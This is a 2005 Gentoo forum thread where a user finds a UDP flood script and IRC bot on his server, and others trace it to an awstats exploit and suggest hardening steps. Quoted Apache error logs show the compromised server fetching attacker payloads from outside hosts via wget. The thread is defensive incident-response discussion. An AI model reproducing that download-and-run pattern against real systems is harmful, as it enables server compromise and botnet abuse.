# I've been hacked?

## TvL

Hi,

I got home today and my internet wasn't working anymore...

I got timouts. So I ran iptraf on my server which told me I was uploading with 125 kb/s.

That's even more than I thought I could upload with. It filled my upstream for sure.

I ran top and noticed 2 instances of "udp.pl" taking up a lot of the CPU power of my P233.

So... how did udp.pl get started? I thought udp.pl is some kind of perl script to send loads of udp packets to something in order to perform a DoS attack on someone. In my hurry to stop this I killed all udp.pl processes. 

Alright, after doing an slocate -u command, I noticed this file: 

 *Quote:*   

> p2 root # locate udp.pl
> 
> /var/tmp/.x/udp.pl

 

Does anybody know what happened? Where I may have some leak? And how to fix it.

I can't find a lot of information on the internet

I also noticed the directory /var/tmp/bot in which a program is installed called "Energy Mech" if I'm not mistaken.

when I did cat mech.pid I got a pid, then I killed it. It was active before I killed it. It seems this program is some kind of irc server?

I found something on the following url: http://www.fedoraforum.org/forum/showthread.php?t=44729

I've saved some information from the system during 'the attack'. This information can be found here: http://tvl.no-ip.org/hack

I'm unsure what to do...

----------

## Unther

Checked your logs yet?

And change your passwords!

----------

## adaptr

1. take the system off the Internet immediately!

2. on another machine, download chkrootkit

3. install & run chkrootkit on the compromised machine to perform limited forensics.

4. wipe HD & re-install Gentoo.

No, I am not joking.

----------

## Voltago

Just out of curiosity... what was your root password for the hacked box?

----------

## TvL

 *adaptr wrote:*   

> 1. take the system off the Internet immediately!
> 
> 2. on another machine, download chkrootkit
> 
> 3. install & run chkrootkit on the compromised machine to perform limited forensics.
> ...

 

that sounds painful...

The root password is 8 characters of which 4 are letters.... Too easy?

I've changed the passwords and disabled all other accounts

----------

## z3ro

 *TvL wrote:*   

>  *adaptr wrote:*   1. take the system off the Internet immediately!
> 
> 2. on another machine, download chkrootkit
> 
> 3. install & run chkrootkit on the compromised machine to perform limited forensics.
> ...

 

If you don't do a complete fdisk and reinstall you will never be able to trust that system again.

It would be a good idea to look through the logs and figure out how the system was compromised so it can be prevented in future - this is after you have taken the box off the Internet as adaptr suggested.

----------

## Unther

check the logs, unless your root account has been compromised, they should tell you which account was...

You can then try that accounts .bash_history files, no all hacks clean up after them selves.

----------

## petlab

Well, how important is the machine?  Pull the network plug.  I suggest following the thread you mentioned from fedora.

I also suggest installing some security, like grsecurity2 or SELinux.  You will need to learn about how to make a machine secure, at least somewhat.

These people run bots on their own machines, that search out machines like yours.  People are trying to log into my machine with all sorts of simple names.  Make sure that your passwords are strong.  I get failed logins from users "test, guest, mysql, john, etc." like all the time.  If you aren't sure what is secure, then it is NOT secure.

I would like to help you investigate this, but it is better to spend time protecting yourself.  I use grsecurity on my 'server' and I am still a bit worried.  Do you have anything (security) installed?

----------

## Voltago

 *TvL wrote:*   

> 
> 
> The root password is 8 characters of which 4 are letters.... Too easy?
> 
> 

 

If it is some leetspeak code, then it probably is too weak.

----------

## z3ro

 *petlab wrote:*   

> ... I get failed logins from users "test, guest, mysql, john, etc." like all the time. ...

 

Try moving ssh to a random port. It should be less likely to be targeted in automated attacks then.

----------

## TvL

I must admit, I have nothing for security.

I've only forwarded ports from my router to my machine which I use. For example sshd, apache2,  mysql, dchub.

I don't think my password is weak, but the apache log disturbs me. I see that things have been downloaded a few times. It looks like wget output. See for yourself http://tvl.no-ip.org/hack/error_log_short.txt.gz

----------

## someguy

 *Quote:*   

> I ran top and noticed 2 instances of "udp.pl" taking up a lot of the CPU power of my P233. 

 

my apache server got hacked by someone  a while back and i found that same thing running on the machine 

some cross site scripting i found in /var/log/apache2/access_log from www.r00dman.org

----------

## GentooBox

as you can see, the udp.pl script is running as apache, that means that he attacker got apache privileges.

so you where hacked by someone that used a security hole in apache or used some other attack to gain access to your machine.

Do as the first post says, reinstall the machine and learn something by it  :Smile:  harden your server, use secure passwords and make sure that your scripts are bugfree.

----------

## hanj

Hello

This looks like an awstats exploit.. here is a chunk from your error_log

```
[Tue Mar 08 18:52:23 2005] [error] [client 64.49.219.174] --18:52:23--  http://64.51.188.10/images/sess_3539283e27d73cae

29fe2b80f9293f57

[Tue Mar 08 18:52:23 2005] [error] [client 64.49.219.174]            => `sess_3539283e27d73cae29fe2b80f9293f57'

[Tue Mar 08 18:52:23 2005] [error] [client 64.49.219.174] Connecting to 64.51.188.10:80... 

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] connected.

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] HTTP request sent, awaiting response... 

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] 200 OK

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] Length: 20,808 [text/plain]

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] 

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174]     0K .

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] .

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] .

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] ..

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] .

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] ..

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] .

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] .

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174]  ..

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] .

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] ..

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] .

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] ..

[Tue Mar 08 18:52:24 2005] [error] [client 64.49.219.174] .

[Tue Mar 08 18:52:25 2005] [error] [client 64.49.219.174] .                                 100%   31.72 KB/s

[Tue Mar 08 18:52:25 2005] [error] [client 64.49.219.174] 

[Tue Mar 08 18:52:25 2005] [error] [client 64.49.219.174] 18:52:25 (31.72 KB/s) - `sess_3539283e27d73cae29fe2b80f9293f57

' saved [20808/20808]

[Tue Mar 08 18:52:25 2005] [error] [client 64.49.219.174] 

[Tue Mar 08 18:52:25 2005] [error] [client 64.49.219.174] (13)Permission denied: access to /awstats/awstats.pl denied

[Tue Mar 08 18:52:25 2005] [error] [client 64.49.219.174] sh: line 1: /awstats.[hanji removed domain].conf: No such file or direc

tory

[Tue Mar 08 18:57:25 2005] [error] [client 64.49.219.174] (70007)The timeout specified has expired: ap_content_length_fi

lter: apr_bucket_read() failed
```

The sess_3539283e27d73cae29fe2b80f9293f57 contains additional exploit php code.

I see where other files were being downloaded as well:

```

[Fri Mar 18 13:08:07 2005] [error] [client 64.72.88.10]                               100%  243.58 KB/s

[Fri Mar 18 13:08:07 2005] [error] [client 64.72.88.10] 

[Fri Mar 18 13:08:07 2005] [error] [client 64.72.88.10] 

[Fri Mar 18 13:08:07 2005] [error] [client 64.72.88.10] 13:08:07 (199.58 KB/s) - `bot1.tar.gz' saved [791335/791335]

[Mon Mar 28 15:25:58 2005] [error] [client 213.246.61.15] . 99%    1.19 KB/s

[Mon Mar 28 15:25:58 2005] [error] [client 213.246.61.15]   200K .

[Mon Mar 28 15:25:58 2005] [error] [client 213.246.61.15]                                                      100%  574

.84 KB/s

[Mon Mar 28 15:25:58 2005] [error] [client 213.246.61.15] 

[Mon Mar 28 15:25:58 2005] [error] [client 213.246.61.15] 15:25:58 (1.24 KB/s) - `ice.tgz' saved [206716/206716]

[Wed Mar 30 03:09:19 2005] [error] [client 64.187.4.53] .

[Wed Mar 30 03:09:19 2005] [error] [client 64.187.4.53] .                      100%  244.44 KB/s

[Wed Mar 30 03:09:19 2005] [error] [client 64.187.4.53] 

[Wed Mar 30 03:09:19 2005] [error] [client 64.187.4.53] 03:09:19 (176.16 KB/s) - `fbot.gz' saved [82363/82363]

[Wed Mar 30 03:09:19 2005] [error] [client 64.187.4.53] 

[Wed Mar 30 03:09:19 2005] [error] [client 64.187.4.53] tar: 

[Wed Mar 30 03:09:19 2005] [error] [client 64.187.4.53] A lone zero block at 370

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] 15:04:07 (5.78 KB/s) - `a.tgz' saved [42479]

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] 

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] 

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] gzip: stdin: not in gzip format

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] tar: 

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] Child returned status 1

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] 

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] tar: 

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] Error exit delayed from previous errors

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] 

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] sh: line 1: ./a: No such file or directory

[Wed Mar 30 15:04:07 2005] [error] [client 67.107.78.245] sh: line 1: /awstats.[hanji removed domain].conf: No such file or directory
```

Here are a few things to implement to help prevent this in the future.. beyond the obvious.. update your packages (awstats)

1. Snort with bleeding-rules (for instance.. bleeding rules would show awstat attacks)

- with snort/base you would be able to see attack attempts.. hopefully before they were successful

2. Possibly implement snortinline or snortsam to block this traffic automatically

3. implement good log monitoring. You should have logcheck check your access_logs/error_logs every hour. You would at least see unusual activity quickly

4. implement mod_security and get some basic sec-filter rules in there to to block binary calls, etc

5. harden php, use php_safe_mode and open_basedir to limit access to files/binaries of php scripts. also restrict some bad functions, exec, system, etc.. or whatever you can get away with... I understand that some scripts need these functions

6. with mod_security you can easily chroot apache.. which would help as well. 

7. harden mysql (remove in-file commands, skip-networking -> listen on sockets, etc)

8. don't disclose info about your webserver.. set the following:

ServerTokens Prod

ServerSignature Off

in php.ini

set expose_php off

9. partition /tmp with it's own partition.. and set it with noexec,nosuid flags. If you can't have tmp in it's own partition try mounting with tmpfs and using those flags. Obviously, this can be changed.. and I believe that they used /var/tmp as part of the other exploits (udp.pl)

10. use htaccess to password protect your stat directories.. you don't want the 'public' to have access to these directories.. do you?

11. get in the habit of monitoring your /tmp directories. I have nightly reports sent to me with the output of those directories:

```
#!/bin/bash

O_TMP1=`/usr/bin/file /tmp/.* | grep -Ev "(\.:|\.\.:)"; /usr/bin/file /tmp/*`

O_TMP2=`/usr/bin/file /var/tmp/.* | grep -Ev "(\.:|\.\.:)"; /usr/bin/file /var/tmp/*`

echo -e "##############################"

echo -e "VAR/TMP"

echo -e "##############################"

echo -e "$O_TMP2\n"

echo -e "##############################"

echo -e "/TMP"

echo -e "##############################"

echo -e "$O_TMP1\n"
```

using file program will show that sess_3539283e27d73cae29fe2b80f9293f57 is a php script and not ascii. This is usually 'after-the-fact' but I want to know as soon as possible. Also.. if your server is '0wn3d'.. they could change the file and ls binaries.. and have it read out incorrect data, but it's nice to have if it's script kiddie, etc.

12. implement file integrity checker.. I love osiris, but tripwire or aide would work fine. The problem with those.. is that the database is on the 'suspect' box. Osiris uses agents to scan and compares to a database on a monitoring server. 

Anybody else have any ideas on prevention??

Thanks

hanji

----------

## volumen1

1) Do everytihing that Hanj says.

2) (and this goes for everyone) quit showing SSH to the outside world.  I don't care if you are running it on a non-standard port,  still don't do it.  If you need access to your machine remotely then either a) setup a VPN tunnel to it with Openswan, or OpenVPN or b) use knock.

The only ports you should be showing to the outside world are for services that you absolutely need people to see.  That is to say, maybe 80 and 25 (if you are doing web and smtp).  If you are showing a service to the outside world that allows authentication (like POP3, Imap, ftp, etc) then make damn sure you are watching your logs carefully.  Download logsentry and look for brute force attempts.

That's my $.02

----------

## Joseph_sys

 *hanj wrote:*   

> Hello
> 
> This looks like an awstats exploit.. here is a chunk from your error_log
> 
> [snip]
> ...

 

Here is another scenerion of awstats explit described on security.linux.com:

http://security.linux.com/security/05/03/23/2239205.shtml

#Joseph

----------

## TvL

Thank you very much for your replies, hanj, volumen1

I'm definately going to do what you guys are suggesting.

Thank you.

----------

## rex123

 *adaptr wrote:*   

> 1. take the system off the Internet immediately!
> 
> 2. on another machine, download chkrootkit
> 
> 3. install & run chkrootkit on the compromised machine to perform limited forensics.
> ...

 

This is out of date now, but still...

I don't think this kind of advice is 100% helpful. Steps 1-3 are good advice. Step 4 (format and reinstall) is, in my opinion, not. But we see it all the time from all sorts of people, who are often Gentoo/Linux sysadmin experts.

The reason I think this is bad advice is that it makes the tacit assumption that any exploit is a root exploit. This simply and obviously isn't true. The two most common exploits that I've seen mentioned here are these:

1) Exploits of bad php code

2) Expoits of bad ssh passwords

In both of these cases an unwelcome user is able to run code that the system administrator probably didn't want. But in neither case should it be assumed that the entire machine can no longer be trusted. And in neither case is a complete reformat warranted.

Why do I care? Because Linux users are always going on about how much more secure their operating system is than Windows - exactly because the tacit assumption above is *false* [ie users have limited and appropriate privileges]. And if people who understand security tell people who don't that they should format and reinstall at the first hint of danger, then they are encouraging not only paranoia but also ignorance.

----------

## adaptr

 *rex123 wrote:*   

>  *adaptr wrote:*   1. take the system off the Internet immediately!
> 
> 2. on another machine, download chkrootkit
> 
> 3. install & run chkrootkit on the compromised machine to perform limited forensics.
> ...

 

We'll see, won't we ?

 *rex123 wrote:*   

>  But we see it all the time from all sorts of people, who are often Gentoo/Linux sysadmin experts.

 

I am no expert by anyone's definition, although I do know a thing or two about network and system administration.

 *rex123 wrote:*   

> The reason I think this is bad advice is that it makes the tacit assumption that any exploit is a root exploit.

 

Which it is.

Elevating a cracked apache or sendmail entry to a root entry is often quite trivial.

 *rex123 wrote:*   

>  This simply and obviously isn't true. The two most common exploits that I've seen mentioned here are these:
> 
> 1) Exploits of bad php code
> 
> 2) Expoits of bad ssh passwords
> ...

 

And more importantly, couldn't care less about - if elevation to a trusted account was not one of the real and greater dangers of such an exploit.

 *rex123 wrote:*   

>  But in neither case should it be assumed that the entire machine can no longer be trusted. And in neither case is a complete reformat warranted.

 

In both cases, you should assume so and it is.

Even though there may not have been a root compromise with, say,  an apache exploit, you do not know this.

You cannot know this.

Since anyone who has gained root can rewrite the system at will, there is no way for you to verify anything.

 *rex123 wrote:*   

> Why do I care? Because Linux users are always going on about how much more secure their operating system is than Windows - exactly because the tacit assumption above is *false* [ie users have limited and appropriate privileges].

 

That is just misinformed quabble - 95% of user *nix systems are not secure at all - because making it secure requires a little more than being able to run the RedHat installer.

 *rex123 wrote:*   

>  And if people who understand security tell people who don't that they should format and reinstall at the first hint of danger, then they are encouraging not only paranoia but also ignorance.

 

What I am *encouraging* is safety: since I do not administrate their system and they do not know how to secure it, then yes - re-installing is the only safe option.

----------

## gentoo_lan

Always format and reinstall. It is common procedure when you have been hacked. If you don't do it then you will NEVER be able to trust that box again.

----------

## rex123

OK, OK. Reinstall everything whenever anything suspect happens. If you find this a bit time-consuming, you can always save time by not bothering to patch any privilege-escalation bugs, since you are assuming privilege escalation at all times. You can also save a bit of faffing by always running all services as root. Hey - you could use Windows. It's easier to reinstall, and comes with none of that boring privelege separation nonsense by default.

----------

## Cazzantonio

A backup? using an old and "secure" backup (welll... not too old since it would be easier to reinstall than to upgrade an old backup in most cases  :Wink:  ) is the quickest way to get your system up without reinstalling your world....

Consider also an emerge -e world that (hopefully) reinstalls all of your binaries (and many of your config files... use etc-update with care....)

next time set up some precautions against such unfortunate events  :Wink:  (iptables to block all your unnecessary ports, knock, snort etc....use chroot!)

----------

## -Craig-

emerge -e won't help if there's a kernel mode rootkit on the system!

It's NOT going to clean your system!

----------

